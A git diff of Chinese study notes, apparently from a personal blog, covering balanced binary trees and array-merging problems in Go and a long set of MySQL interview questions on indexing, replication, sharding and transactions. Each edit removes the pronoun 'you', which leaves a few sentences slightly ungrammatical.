平衡二叉树指的是：一个二叉树每个节点的左右两个子树的高度差的绝对值不超过1。如果需要让你判断一个树是否是平衡二叉树，只需要死扣定义，然后用递归即可轻松解决。 +> 平衡二叉树指的是：一个二叉树每个节点的左右两个子树的高度差的绝对值不超过1。如果需要让判断一个树是否是平衡二叉树，只需要死扣定义，然后用递归即可轻松解决。 -> 如果需要你将一个数组或者链表 （逻辑上都是线性的数据结构）转化为平衡二叉树，只需要随便选一个节点，并分配一半到左子树，另一半到右子树即可。同时，如果要求你转化为平衡二叉搜索树，则可以选择排序数组或链表的中点，左边的元素为左子树， 右边的元素为右子树即可。 +> 如果需要将一个数组或者链表 （逻辑上都是线性的数据结构）转化为平衡二叉树，只需要随便选一个节点，并分配一半到左子树，另一半到右子树即可。同时，如果要求转化为平衡二叉搜索树，则可以选择排序数组或链表的中点，左边的元素为左子树， 右边的元素为右子树即可。 > 1：如果不需要是二叉搜索树则不需要排序，否则需要排序。 -> 2：你也可以不选择中点，算法需要相应调整，感兴趣的同学可以试试。 +> 2：也可以不选择中点，算法需要相应调整，感兴趣的同学可以试试。 > 3：链表的操作需要特别注意环的存在。 @@ -1195,7 +1195,7 @@ type pair struct{ price, cnt int } ## 母题 -> 给你两个**有序**的非空数组nums1 和nums2，让你从每个数组中分别挑一个，使得二者差的绝对值最小。/ 给你两个有序的非空数组 nums1 和nums2，让你将两个数组合并，使得新的数组有序。 +> 给两个**有序**的非空数组nums1 和nums2，让从每个数组中分别挑一个，使得二者差的绝对值最小。/ 给两个有序的非空数组 nums1 和nums2，让将两个数组合并，使得新的数组有序。 ```go func Solve(nums1 []int,nums2 []int){ @@ -1230,7 +1230,7 @@ func abs(a int)int{ ``` -> 给你两个非空数组nums1 和nums2，让你从每个数组中分别挑一个，使得二者差的绝对值最小。 +> 给两个非空数组nums1 和nums2，让从每个数组中分别挑一个，使得二者差的绝对值最小。 ```go func Solve(nums1 []int,nums2 []int){ @@ -1271,7 +1271,7 @@ func abs(a int)int{ ``` -> 给你K个非空有序一维数组，让你从每个一维数组中分别挑一个，使得K者差的绝对值最小。 +> 给K个非空有序一维数组，让从每个一维数组中分别挑一个，使得K者差的绝对值最小。 ```go @@ -1369,10 +1369,10 @@ func abs(a int)int{ } ``` -> 给你K个非空无序一维数组，让你从每个一维数组中分别挑一个，使得K者差的绝对值最小。 +> 给K个非空无序一维数组，让从每个一维数组中分别挑一个，使得K者差的绝对值最小。 > 先排序，转化为3 -> 给你k个有序的非空数组nums让你将k 个数组合并，使得新的数组有序。 +> 给k个有序的非空数组nums让将k 个数组合并，使得新的数组有序。 ```go @@ -1979,7 +1979,7 @@ func permuteNChooseK(n int, k int) [][]int { ### 组合变种-1 -> 给你一个 无重复元素 的整数数组 candidates 和一个目标整数 target ，找出 candidates 中可以使数字和为目标数 target 的 所有 不同组合 ，并以列表形式返回。你可以按 任意顺序 返回这些组合。candidates 中的 同一个 数字可以 无限制重复被选取 。如果至少一个数字的被选数量不同，则两种组合是不同的。  +> 给一个 无重复元素 的整数数组 candidates 和一个目标整数 target ，找出 candidates 中可以使数字和为目标数 target 的 所有 不同组合 ，并以列表形式返回。可以按 任意顺序 返回这些组合。candidates 中的 同一个 数字可以 无限制重复被选取 。如果至少一个数字的被选数量不同，则两种组合是不同的。  ```go var res [][]int diff --git a/_posts/2023-9-2-test-markdown.md b/_posts/2023-9-2-test-markdown.md index 6488f28ec7e5..edc2a72fdc6c 100644 --- a/_posts/2023-9-2-test-markdown.md +++ b/_posts/2023-9-2-test-markdown.md @@ -22,7 +22,7 @@ comments: true **3-Limit 深分页问题** -- **原因：** 在分页查询中，如果你试图访问结果的后面部分，MySQL需要先找到前面的所有结果，这可能需要大量的时间。 +- **原因：** 在分页查询中，如果试图访问结果的后面部分，MySQL需要先找到前面的所有结果，这可能需要大量的时间。 - **解决方法：** 避免深度分页。如果可能的话，考虑使用基于游标的分页，或者将结果集缓存起来。 @@ -52,7 +52,7 @@ comments: true **8-拿不到锁** -- **原因：** 有其他事务正在使用你需要的锁，这可能导致你的事务等待。 +- **原因：** 有其他事务正在使用需要的锁，这可能导致的事务等待。 **9-拿不到锁** @@ -64,13 +64,13 @@ comments: true - **原因**：当在DELETE语句中使用IN子查询时，MySQL可能不会使用索引，因为它需要确保查询的结果集在删除操作开始时和结束时保持一致。 -- **解决方法**：你可以尝试将子查询的结果存储在临时表中，然后基于该临时表进行删除操作。这样可以避免子查询的重复计算，并可能允许MySQL使用索引。 +- **解决方法**：可以尝试将子查询的结果存储在临时表中，然后基于该临时表进行删除操作。这样可以避免子查询的重复计算，并可能允许MySQL使用索引。 **11-Group By使用临时表和文件排序** - **原因**：在处理GROUP BY查询时，MySQL可能需要创建临时表和进行文件排序，特别是当分组列不是索引或者排序顺序与索引顺序不匹配时。 -- **解决方法**：如果可能，你应该尝试优化查询，使分组列和排序顺序与索引匹配。另外，增加内存也可以减少文件排序的需求，因为更多的数据可以在内存中排序。如果数据量很大，可能需要考虑使用分布式计算解决方案。 +- **解决方法**：如果可能，应该尝试优化查询，使分组列和排序顺序与索引匹配。另外，增加内存也可以减少文件排序的需求，因为更多的数据可以在内存中排序。如果数据量很大，可能需要考虑使用分布式计算解决方案。 @@ -91,8 +91,8 @@ comments: true 1-问题：什么是MySQL的分片？它的优点和缺点是什么？ 答案：MySQL的分片是将数据划分为多个部分，并将其分布在多个服务器上，这样每个服务器只需要处理一部分数据。优点是可以提高系统的性能、可用性和负载平衡。缺点是分片策略的选择和实施可能复杂，而且数据重新分片的过程可能会很麻烦。 -2-问题：你可以描述一下MySQL的复制功能吗？ -答案：MySQL的复制功能允许你从一个MySQL数据库服务器（称为主服务器）复制数据到一个或多个MySQL数据库服务器（称为从服务器）。主要用于读扩展（把读请求分发到多个从库，减轻主库的读压力）和高可用（当主库出问题时，可以快速切换到从库）。 +2-问题：可以描述一下MySQL的复制功能吗？ +答案：MySQL的复制功能允许从一个MySQL数据库服务器（称为主服务器）复制数据到一个或多个MySQL数据库服务器（称为从服务器）。主要用于读扩展（把读请求分发到多个从库，减轻主库的读压力）和高可用（当主库出问题时，可以快速切换到从库）。 3-问题：如何处理MySQL的写扩展？ 答案：写扩展比读扩展更为复杂。一种常见的方法是分片，即将数据分散到多个数据库服务器上，每个服务器只处理一部分写入请求。另一种方法是使用某种形式的队列系统来平衡写入请求，但这可能会引入额外的复杂性和延迟。 @@ -113,7 +113,7 @@ comments: true 8-问题：什么是MySQL的分区，它与分片有何不同？ 答案：MySQL的分区是在单一的数据库表内部将数据划分为多个部分，每个部分可以在磁盘的不同位置存储。这是一个逻辑划分，所有的分区仍然在同一个MySQL实例中。相反，分片是物理划分，数据被分布在多个服务器或实例上。 -9-问题：你如何选择合适的分片策略？ +9-问题：如何选择合适的分片策略？ 答案：选择合适的分片策略需要根据应用程序的需求和数据库的性质来决定。可能的分片策略包括**基于范围的分片、基于哈希的分片、基于列表的分片等**。选择时需要考虑查询模式、数据均匀性、复杂性和易用性等因素。 10-问题：如何确保分片后的数据库系统还能保持一致性？ @@ -124,7 +124,7 @@ comments: true 11-问题：如何处理MySQL的扩容带来的数据迁移问题？ -答案：数据迁移是扩容过程中的一个挑战。你可以使用在线迁移工具，如gh-ost或pt-online-schema-change，这些工具可以在不中断应用访问的情况下进行数据迁移。还需要进行详细的计划和测试，以确保迁移过程中的数据一致性和最小的停机时间。 +答案：数据迁移是扩容过程中的一个挑战。可以使用在线迁移工具，如gh-ost或pt-online-schema-change，这些工具可以在不中断应用访问的情况下进行数据迁移。还需要进行详细的计划和测试，以确保迁移过程中的数据一致性和最小的停机时间。 12-问题：什么是MySQL的主主复制？它如何用于扩容？ 答案：主主复制是一种每个节点都可以接受写操作的复制模式。它可以提高写入容量，但需要处理写冲突。这通常通过引入某种形式的分区或者使用冲突解决机制来完成。 @@ -157,7 +157,7 @@ comments: true 答案：MySQL的存储引擎决定了数据如何存储和检索。例如，InnoDB引擎提供了事务和行级锁定，适合处理大量的并发写入操作。 21-问题：什么是MySQL的联邦存储引擎？它在扩容中有什么作用？ -答案：MySQL的FEDERATED存储引擎提供了一种让你可以访问远程数据库中的表就像它在本地一样的能力。虽然它并不直接涉及扩容，但可以在特定的情况下用来分布数据和查询，达到类似扩容的效果。 +答案：MySQL的FEDERATED存储引擎提供了一种让可以访问远程数据库中的表就像它在本地一样的能力。虽然它并不直接涉及扩容，但可以在特定的情况下用来分布数据和查询，达到类似扩容的效果。 22-问题：在进行MySQL扩容时，怎样考虑数据安全性？ 答案：在进行MySQL扩容时，要考虑数据安全性，包括网络安全（如使用SSL/TLS连接），访问控制（如使用强密码，限制数据库的访问权限），以及数据加密（如使用透明数据加密或列级别的数据加密）。同时，也需要考虑防止数据丢失的措施，如使用冗余存储，定期备份等。 @@ -195,14 +195,14 @@ comments: true 1-问题：怎样通过索引来优化MySQL查询？ 答案：通过对搜索的字段创建索引，可以显著提高查询速度。例如，如果一个表经常根据某个字段进行查询，那么在这个字段上创建索引可以提高查询速度。此外，复合索引、前缀索引和覆盖索引等也可以用于优化查询。 -2-问题：你会如何找出并优化慢查询？ +2-问题：会如何找出并优化慢查询？ 答案：可以通过开启MySQL的慢查询日志来找出执行时间过长的查询。对于这些查询，可以通过分析执行计划，优化SQL语句，添加合适的索引，或者调整数据库的配置来进行优化。 **答案：**以下是一些具体的步骤来找出和优化慢查询： -**开启慢查询日志：**在MySQL中，你可以设置`long_query_time`参数来定义何为“慢查询”，并开启`slow_query_log`来记录所有的慢查询。这样你就可以通过查看慢查询日志来找出执行时间过长的查询了。 +**开启慢查询日志：**在MySQL中，可以设置`long_query_time`参数来定义何为“慢查询”，并开启`slow_query_log`来记录所有的慢查询。这样就可以通过查看慢查询日志来找出执行时间过长的查询了。 -**分析执行计划：**使用`EXPLAIN`命令，可以查看MySQL如何执行一个查询。这可以帮助你找出为什么查询会变慢，例如是否在进行全表扫描，是否使用了正确的索引等。 +**分析执行计划：**使用`EXPLAIN`命令，可以查看MySQL如何执行一个查询。这可以帮助找出为什么查询会变慢，例如是否在进行全表扫描，是否使用了正确的索引等。 **优化SQL语句：**有时候，通过改变SQL语句的写法，可以提高查询的效率。例如，避免使用子查询，使用`JOIN`来代替，或者避免在`WHERE`子句中使用函数等。 @@ -220,14 +220,14 @@ comments: true 5-问题：什么是索引，以及如何在MySQL中使用索引来优化查询？ 答案：索引是数据库用来快速找到记录的数据结构。在MySQL中，可以使用索引来优化查询，减少需要扫描的行数。创建索引应基于查询频繁的列，以及WHERE、ORDER BY和GROUP BY子句中使用的列。 -MySQL中的索引可以帮助数据库更快速地找到数据，从而极大地提升查询的效率。索引的实现方式和用法与我们在书籍中看到的索引类似，就像一本书的索引可以帮助你快速找到你想查找的内容，数据库索引也可以帮助数据库快速找到记录。 +MySQL中的索引可以帮助数据库更快速地找到数据，从而极大地提升查询的效率。索引的实现方式和用法与我们在书籍中看到的索引类似，就像一本书的索引可以帮助快速找到想查找的内容，数据库索引也可以帮助数据库快速找到记录。 在MySQL中，常用的索引类型包括B-Tree索引（最常见的索引类型，用于InnoDB等存储引擎）、Hash索引（用于Memory存储引擎）以及全文索引（用于搜索文本列）等。 -> 对于MySQL的InnoDB存储引擎，它的主索引（也叫聚簇索引）的叶子节点确实存储了完整的行数据。所以，如果你在"username"字段上创建了主索引，那么该索引的叶子节点就会包含对应的完整行数据。 +> 对于MySQL的InnoDB存储引擎，它的主索引（也叫聚簇索引）的叶子节点确实存储了完整的行数据。所以，如果在"username"字段上创建了主索引，那么该索引的叶子节点就会包含对应的完整行数据。 -> 然而，对于二级索引（也称为非聚簇索引），情况就不同了。非聚簇索引的叶子节点不包含完整的行数据，而只包含主键值（聚簇索引的键值）。当你在"username"字段上创建一个非聚簇索引时，该索引的叶子节点将包含username的值和对应的主键值。当MySQL需要查找某个username的完整行数据时，它首先使用非聚簇索引找到主键值，然后使用主键值在聚簇索引中查找完整的行数据。这个过程被称为"回表"。 +> 然而，对于二级索引（也称为非聚簇索引），情况就不同了。非聚簇索引的叶子节点不包含完整的行数据，而只包含主键值（聚簇索引的键值）。当在"username"字段上创建一个非聚簇索引时，该索引的叶子节点将包含username的值和对应的主键值。当MySQL需要查找某个username的完整行数据时，它首先使用非聚簇索引找到主键值，然后使用主键值在聚簇索引中查找完整的行数据。这个过程被称为"回表"。 因此，一般来说，为了提高查询效率，应该尽量减少回表的次数。在设计表结构和索引时，应当尽量让查询能够直接在索引中获取所需的数据，而不需要回表。这就是所谓的"覆盖索引"查询。 @@ -247,10 +247,10 @@ MySQL中的索引可以帮助数据库更快速地找到数据，从而极大地 11-问题：如何处理MySQL中的"锁等待"问题？ -答案："锁等待"问题通常由事务并发控制引起，处理的方法有很多。你可以优化查询以减少锁定时间，如使用更具效率的索引，减少全表扫描；你也可以尝试调整事务隔离级别，以减少锁定需求。在某些情况下，将长事务分解成多个短事务也可以帮助。 +答案："锁等待"问题通常由事务并发控制引起，处理的方法有很多。可以优化查询以减少锁定时间，如使用更具效率的索引，减少全表扫描；也可以尝试调整事务隔离级别，以减少锁定需求。在某些情况下，将长事务分解成多个短事务也可以帮助。 12-问题：如何使用MySQL性能剖析器（profiler）来优化性能？ -答案：MySQL性能剖析器可以为查询提供详细的执行信息，包括每个操作所花费的时间。通过剖析查询，你可以找出性能瓶颈，并对查询进行优化，例如，改进索引或者重新编写SQL语句。 +答案：MySQL性能剖析器可以为查询提供详细的执行信息，包括每个操作所花费的时间。通过剖析查询，可以找出性能瓶颈，并对查询进行优化，例如，改进索引或者重新编写SQL语句。 13-问题：如何优化大量插入的性能？ 答案：优化大量插入的性能可以有多种策略，如：关闭自动提交，使用事务把多个插入操作包装起来；使用批量插入（一次插入多行）；如果可能，可以先关闭索引，然后再进行插入操作，插入完成后再重新创建索引。 @@ -267,7 +267,7 @@ MySQL中的索引可以帮助数据库更快速地找到数据，从而极大地 15-问题：如何使用MySQL的慢查询日志来优化数据库性能？ 答案：慢查询日志记录了执行时间超过特定阈值的查询。通过分析慢查询日志，我们可以找到那些影响数据库性能的长时间运行的查询。对于这些查询，我们可以考虑修改SQL语句，添加或调整索引，或者改变查询逻辑等方式进行优化。 -16-问题：当MySQL数据库性能下降时，你会首先检查什么？ +16-问题：当MySQL数据库性能下降时，会首先检查什么？ 答案：当MySQL数据库性能下降时，我会首先检查以下几点：查看数据库服务器的CPU和内存使用情况，确认是否有资源瓶颈；检查慢查询日志，找出运行缓慢的查询；查看SHOW PROCESSLIST输出，确定是否有长时间运行的事务或者锁竞争；分析系统和硬件指标，如磁盘I/O，网络等。 17- 问题：什么是索引碎片？如何处理？ @@ -276,12 +276,12 @@ MySQL中的索引可以帮助数据库更快速地找到数据，从而极大地 18-问题：请解释MySQL中InnoDB和MyISAM两种存储引擎的区别，并从性能角度进行比较。 答案：InnoDB和MyISAM是MySQL最常见的两种存储引擎。主要区别在于：InnoDB支持事务，行级锁定，以及外键，而MyISAM不支持；MyISAM通常在读取密集的应用中表现更好，因为它可以缓存更多的数据，而InnoDB在写入密集的应用中表现更好，因为它使用了事务日志来保证数据的一致性。 -19-问题：你有没有使用过性能监控工具，如Percona Monitoring and Management (PMM)或者MySQL Workbench的Performance Dashboard？ -答案：（这个答案取决于你的经验，如果你有使用过这些工具，你可以描述一下你如何使用它们来分析和优化MySQL性能。 +19-问题：有没有使用过性能监控工具，如Percona Monitoring and Management (PMM)或者MySQL Workbench的Performance Dashboard？ +答案：（这个答案取决于的经验，如果有使用过这些工具，可以描述一下如何使用它们来分析和优化MySQL性能。 -**Percona Monitoring and Management (PMM)** 是一个开源的平台，它可以提供MySQL，MariaDB，MongoDB等数据库的性能监控和管理功能。PMM可以帮助你找出性能瓶颈，监控数据库和服务器的性能指标，并提供数据优化的建议。你可以使用PMM的图形界面来查看实时的或者历史的性能数据，包括查询速度，服务器负载，网络流量等。 +**Percona Monitoring and Management (PMM)** 是一个开源的平台，它可以提供MySQL，MariaDB，MongoDB等数据库的性能监控和管理功能。PMM可以帮助找出性能瓶颈，监控数据库和服务器的性能指标，并提供数据优化的建议。可以使用PMM的图形界面来查看实时的或者历史的性能数据，包括查询速度，服务器负载，网络流量等。 -**MySQL Workbench的Performance Dashboard** 是MySQL Workbench的一个功能，它也提供了一些实用的性能监控和管理工具。你可以使用Performance Dashboard来查看MySQL服务器的实时性能数据，包括服务器状态，网络流量，磁盘使用情况等。你也可以使用Performance Dashboard来执行性能诊断，找出性能瓶颈，并提供优化建议。 +**MySQL Workbench的Performance Dashboard** 是MySQL Workbench的一个功能，它也提供了一些实用的性能监控和管理工具。可以使用Performance Dashboard来查看MySQL服务器的实时性能数据，包括服务器状态，网络流量，磁盘使用情况等。也可以使用Performance Dashboard来执行性能诊断，找出性能瓶颈，并提供优化建议。 20-问题：什么是数据库的读写分离？它是如何提高MySQL性能的？ @@ -299,13 +299,13 @@ MySQL中的索引可以帮助数据库更快速地找到数据，从而极大地 24-问题：请解释“读取优化”和“写入优化”在数据库性能优化中的角色。 答案：读取优化主要是通过合理使用和设计索引、优化查询语句、利用查询缓存等方式，提升数据的读取速度和效率。写入优化则涉及到合理控制事务大小、合理选择存储引擎、批量插入、关闭索引等操作，以提升数据的写入速度和效率。二者在数据库性能优化中都起着关键作用。 -25-问题：MySQL的FULLTEXT索引是什么？你如何使用它来优化查询？ +25-问题：MySQL的FULLTEXT索引是什么？如何使用它来优化查询？ 答案：FULLTEXT是一种专门用于提供全文搜索的索引类型。当需要对大段文本进行搜索时，FULLTEXT索引可以提供更高的性能。使用MATCH AGAINST语句可以查询FULLTEXT索引。 26-问题：在MySQL中，有哪些情况下索引可能不起作用？ 答案：在以下情况下，MySQL可能不会使用索引：查询的结果集大于表数据的30%；LIKE语句以通配符开始；对列进行计算或函数操作；数据类型不一致导致的隐式类型转换；JOIN操作中列类型不匹配。 -27-问题：你如何确定是否需要为某个列创建索引？ +27-问题：如何确定是否需要为某个列创建索引？ 答案：需要考虑以下因素：列的基数（唯一值的数量）；列是否经常出现在查询条件、排序、聚合等操作中；索引的维护开销；索引对查询性能的提升。 28-问题：在MySQL中，有哪些方法可以减少锁的竞争？ @@ -336,7 +336,7 @@ MySQL中的索引可以帮助数据库更快速地找到数据，从而极大地 6-问题：如何检查MySQL的复制状态？ 答案：在从服务器上，可以通过SHOW SLAVE STATUS命令来检查复制状态，这个命令会返回一些信息，如主服务器的位置、复制的延迟以及复制是否出错等。 -7-问题：如果复制出错，你会如何处理？ +7-问题：如果复制出错，会如何处理？ 答案：首先，需要识别错误的原因。这可以通过查看从服务器的错误日志或SHOW SLAVE STATUS的输出来完成。一旦确定了错误的原因，可以采取适当的修复措施，如修复数据不一致，解决网络问题，或更正错误的SQL语句等。在修复错误后，可以使用START SLAVE命令来重新开始复制。 8-问题：什么是GTID？它在MySQL复制中有什么作用？ @@ -388,21 +388,21 @@ MySQL中的索引可以帮助数据库更快速地找到数据，从而极大地 20-问题：MySQL中有一种称为"半同步复制"的机制，它是如何工作的？ 答案：在半同步复制中，当主服务器执行了一个事务后，它将等待至少一个从服务器确认已经收到了该事务的数据，然后才将该事务提交。这种方式保证了在主服务器发生故障的情况下，至少有一个从服务器包含了所有提交的事务。 -21-问题：如果从服务器落后于主服务器太多，你将如何处理？ +21-问题：如果从服务器落后于主服务器太多，将如何处理？ 答案：可以采取以下策略来处理从服务器落后的问题：1) 检查和优化从服务器的性能；2) 检查网络连接，确保它有足够的带宽；3) 优化主服务器上的写负载；4) 如果可能，将一些读请求路由到其他从服务器。 -22-问题：MySQL复制失败，你会如何进行故障排查？ +22-问题：MySQL复制失败，会如何进行故障排查？ 答案：复制失败的故障排查可以从以下几个步骤开始：1) 检查SHOW SLAVE STATUS的输出，看是否有错误信息；2) 检查MySQL的错误日志，查找是否有相关的错误或警告；3) 检查网络连接是否正常；4) 确认从服务器能否成功连接到主服务器，并且有正确的复制权限。 -23-问题：你是否使用过任何第三方的MySQL复制工具，如Tungsten Replicator或者其他？ -答案：这个答案取决于你的经验，如果你使用过，你可以详细描述你的使用经验和该工具的优缺点。 +23-问题：是否使用过任何第三方的MySQL复制工具，如Tungsten Replicator或者其他？ +答案：这个答案取决于的经验，如果使用过，可以详细描述的使用经验和该工具的优缺点。 24-问题：请解释在MySQL中，什么是"复制过滤"？ 答案：复制过滤是指MySQL在复制过程中，允许我们只复制特定的数据库或表。我们可以在主服务器（通过--binlog-do-db或--binlog-ignore-db选项）或从服务器（通过--replicate-do-db或--replicate-ignore-db选项）上设置复制过滤。 25-问题：请描述一下MySQL在云环境中（例如AWS, Google Cloud等）的复制策略？ -答案：在云环境中，MySQL的复制策略通常是多主复制或主从复制。例如在Amazon RDS上，你可以设置一个多可用区（Multi-AZ）部署，其中有一个主实例和一个同步复制的备份实例。在Google Cloud SQL，也可以设置主从复制，主实例处理写操作，从实例可以处理读操作。 +答案：在云环境中，MySQL的复制策略通常是多主复制或主从复制。例如在Amazon RDS上，可以设置一个多可用区（Multi-AZ）部署，其中有一个主实例和一个同步复制的备份实例。在Google Cloud SQL，也可以设置主从复制，主实例处理写操作，从实例可以处理读操作。 26-问题：什么是"延迟复制"？它的应用场景是什么？ 答案："延迟复制"是指在从服务器上延迟执行复制的操作。其应用场景包括：防止操作错误（如果在主服务器上误删除数据，可以在操作到达从服务器前停止复制以恢复数据）；创建时间点备份（可以设置复制延迟为一个固定时间，如一小时，这样从服务器的数据就相当于是一小时前主服务器上的备份）。 @@ -413,7 +413,7 @@ MySQL中的索引可以帮助数据库更快速地找到数据，从而极大地 28-问题：请解释在MySQL中为什么会出现复制延迟？ 答案：复制延迟可以由许多原因造成，其中最常见的是主服务器的负载过高，导致从服务器无法即时应用所有的更改；网络延迟或带宽不足也可能导致复制延迟。另外，如果从服务器的硬件资源（如CPU、内存或磁盘I/O）不足，或者从服务器上的查询效率较低，都可能导致复制延迟。 -29-问题：你是如何监控MySQL复制的？ +29-问题：是如何监控MySQL复制的？ 答案：监控MySQL复制可以使用许多工具和方法，例如：使用SHOW SLAVE STATUS命令查看复制的状态和性能指标；设置警报，如果复制延迟超过阈值或复制出错，可以发出警报；使用性能监控工具，如Percona Monitoring and Management (PMM)，可以提供复制的实时监控和历史数据分析。 30-问题：请解释在MySQL中什么是"半同步复制"和"全同步复制"，它们的区别是什么？ @@ -425,7 +425,7 @@ MySQL中的索引可以帮助数据库更快速地找到数据，从而极大地 唯一性：每个事务都有一个唯一的GTID，这意味着无论在哪个服务器上，该事务都有相同的标识符。这消除了在不同服务器上对相同事务使用不同坐标的可能性。 -事务的连续性：GTID确保了事务的连续性。这意味着，如果你知道某个GTID已经被应用，那么所有之前的GTID都已经被应用。 +事务的连续性：GTID确保了事务的连续性。这意味着，如果知道某个GTID已经被应用，那么所有之前的GTID都已经被应用。 自动化的复制位置管理：在传统的文件和位置基础的复制中，当进行主从切换时，需要手动指定复制的位置。而使用GTID，MySQL可以自动确定从哪里开始复制，因为它知道最后一个已经应用的GTID是什么。 @@ -437,7 +437,7 @@ MySQL中的索引可以帮助数据库更快速地找到数据，从而极大地 综上所述，GTID为MySQL复制提供了一个更简单、更可靠的方法，特别是在涉及故障恢复和主从切换的场景中。 -32-问题：你如何理解MySQL中的“主-从复制”模式？ +32-问题：如何理解MySQL中的“主-从复制”模式？ 答案：在"主-从复制"模式中，有一个主服务器负责处理写操作，而从服务器则复制主服务器上的更改。从服务器可以用来处理读操作，这样可以分担主服务器的负载。这种模式可以提高数据的可用性和冗余，也使得负载均衡和故障切换变得更容易。 ### Mysql 安全 @@ -465,7 +465,7 @@ REPEATABLE READ：保证在同一事务中多次读取同一数据时，结果 SERIALIZABLE：最高级别的事务隔离级别，完全禁止并发事务，可以避免脏读、不可重复读和幻读问题，但会对性能造成较大影响。 4-问题：在MySQL中，怎样开始、提交和回滚一个事务？ -答案：在MySQL中，你可以使用START TRANSACTION或BEGIN命令来开始一个事务，使用COMMIT命令来提交一个事务，使用ROLLBACK命令来回滚一个事务。 +答案：在MySQL中，可以使用START TRANSACTION或BEGIN命令来开始一个事务，使用COMMIT命令来提交一个事务，使用ROLLBACK命令来回滚一个事务。 5-问题：在MySQL中，什么是锁定，它在事务中起什么作用？ 答案：在MySQL中，锁定是一种控制并发访问数据库的机制。在事务中，锁定可以确保在事务处理期间，数据保持一致，不会被其他事务干扰。根据不同的需要，MySQL提供了多种类型的锁，如共享锁和排他锁。 @@ -477,7 +477,7 @@ SERIALIZABLE：最高级别的事务隔离级别，完全禁止并发事务， 7-**问题：InnoDB引擎的锁有哪些类型，各有什么特点？** 答案：InnoDB引擎主要有两种类型的锁：共享锁（S）和排他锁（X）。共享锁是读锁，允许事务读取一行数据；排他锁是写锁，允许事务删除或更新一行数据。除此之外，InnoDB还支持意向锁，它们是在表级别上设置的，用于告知引擎事务希望在行级别上获得哪种类型的锁。 -8-**问题：说说你对脏读、幻读、不可重复读的理解。** +8-**问题：说说对脏读、幻读、不可重复读的理解。** 答案：脏读是一个事务能读取到另一个尚未提交的事务的数据。不可重复读是指在同一事务内，多次读取同样的数据返回的结果有所不同。幻读是指在事务内读取的一些行的集合，再次读取时，数量上有所不同。 @@ -495,7 +495,7 @@ SERIALIZABLE：最高级别的事务隔离级别，完全禁止并发事务， 12-**问题：请解释MySQL的savepoint，以及如何使用？** -答案：在MySQL中，savepoint是一个事务中的特定点，可以在事务中创建多个savepoint。如果事务出现问题，你可以回滚到某个savepoint，而不是回滚整个事务。你可以使用`SAVEPOINT savepoint_name`来创建一个savepoint，使用`ROLLBACK TO savepoint_name`回滚到某个savepoint。 +答案：在MySQL中，savepoint是一个事务中的特定点，可以在事务中创建多个savepoint。如果事务出现问题，可以回滚到某个savepoint，而不是回滚整个事务。可以使用`SAVEPOINT savepoint_name`来创建一个savepoint，使用`ROLLBACK TO savepoint_name`回滚到某个savepoint。 13-**问题：如何理解并发控制协议二阶段锁协议（2PL）？MySQL的InnoDB存储引擎是如何实现的？** @@ -598,7 +598,7 @@ SERIALIZABLE：最高级别的事务隔离级别，完全禁止并发事务， 20-问题：在使用云数据库服务（如Amazon RDS或Google Cloud SQL）时，有哪些备份和恢复的策略和工具？ 标准答案：对于云数据库服务，通常会提供自己的备份和恢复工具。例如，Amazon RDS提供了自动备份和手动备份的功能，可以通过AWS控制台，CLI或API来进行操作。Google Cloud SQL也提供了类似的功能。这些工具通常会支持全量备份和增量备份，并提供了数据的自动删除策略，可以根据业务需求设置保留的备份数量和周期。对于恢复，可以通过控制台或命令行工具选择备份进行恢复，也可以恢复到新的实例。 -21-问题：对于使用了MySQL复制的环境，你应该如何设计备份策略？ +21-问题：对于使用了MySQL复制的环境，应该如何设计备份策略？ 标准答案：在使用MySQL复制的环境中，我们可以从主服务器进行全量备份，而从服务器进行增量备份，这样可以减少主服务器的负载。同时，由于复制是异步的，我们需要确保备份的一致性，可以在备份时记录主服务器的二进制日志位置，以便在恢复时可以将从服务器同步到正确的位置。 22-问题：在MySQL中，如何检查备份的完整性和一致性？ @@ -646,22 +646,22 @@ SERIALIZABLE：最高级别的事务隔离级别，完全禁止并发事务， 4-**问题：**如何处理在数据库中间件中的分布式事务？ **答案：**处理分布式事务通常需要使用两阶段提交（2PC）或者三阶段提交（3PC）。这两种都是分布式事务处理的常见算法。2PC包含准备阶段和提交阶段，3PC在2PC的基础上增加了预提交阶段，以减少系统在某些情况下的阻塞问题。 -5-**问题：**请你解释一下什么是负载均衡以及它在数据库中间件中的作用是什么？ +5-**问题：**请解释一下什么是负载均衡以及它在数据库中间件中的作用是什么？ **答案：**负载均衡是将工作负载分配到多个系统来优化系统的资源使用，最大化吞吐量，最小化响应时间，避免过度使用某一资源。在数据库中间件中，负载均衡可以帮助将大量的请求分配到不同的数据库服务器上，防止任何单个服务器被过度使用，从而提高系统的整体性能和可靠性。 -6-**问题：**请你解释一下什么是SQL解析和路由以及它在数据库中间件中的作用是什么？ +6-**问题：**请解释一下什么是SQL解析和路由以及它在数据库中间件中的作用是什么？ **答案：**SQL解析是把SQL语句分解成一些组成部分，以便于更好的理解和处理。路由则是确定将SQL语句发送到哪个数据库服务器进行处理的过程。在数据库中间件中，SQL解析和路由是必不可少的功能，因为它们可以帮助系统理解请求的需求，并将其发送到正确的数据库服务器进行处理。 -7-**问题：**请你解释一下什么是数据分片以及它在数据库中间件中的作用是什么？ +7-**问题：**请解释一下什么是数据分片以及它在数据库中间件中的作用是什么？ **答案：**数据分片是将一个大的数据库分解成更小，更易于管理的部分的过程。这些更小的部分被称为分片。在数据库中间件中，数据分片可以帮助系统更有效地处理大量数据，并提高性能和可扩展性。 8-**问题：**如果数据库服务器发生故障，数据库中间件应如何处理？ **答案：**当数据库服务器发生故障时，数据库中间件应该能够进行故障转移，将请求路由到另一个健康的数据库服务器上。这需要中间件具有健康检查和故障转移的机制。 -9-**问题：**请你描述一下你在性能优化方面的经验和策略。 +9-**问题：**请描述一下在性能优化方面的经验和策略。 **答案：**（这个问题的答案将根据面试者的个人经验和知识而变化。） -10-**问题：**你是否熟悉任何特定的数据库中间件产品或框架？如果是的话，你能描述一下它的优缺点吗？ +10-**问题：**是否熟悉任何特定的数据库中间件产品或框架？如果是的话，能描述一下它的优缺点吗？ **答案：**（这个问题的答案将根据面试者对特定产品或框架 @@ -723,7 +723,7 @@ SERIALIZABLE：最高级别的事务隔离级别，完全禁止并发事务， 1-**问题**: 请描述一下MySQL的ACID特性? **答案**: ACID是指原子性(Atomicity),一致性(Consistency),隔离性(Isolation),持久性(Durability)。原子性指的是一个事务要么全部执行，要么全部不执行。一致性指的是数据库在事务执行前后都保持一致的状态。隔离性指的是并发执行的事务互不影响。持久性指的是一旦事务提交，其结果就是永久的，即使系统故障也无法改变。 -2-**问题**: 你是如何处理数据库的并发访问的? +2-**问题**: 是如何处理数据库的并发访问的? **答案**: 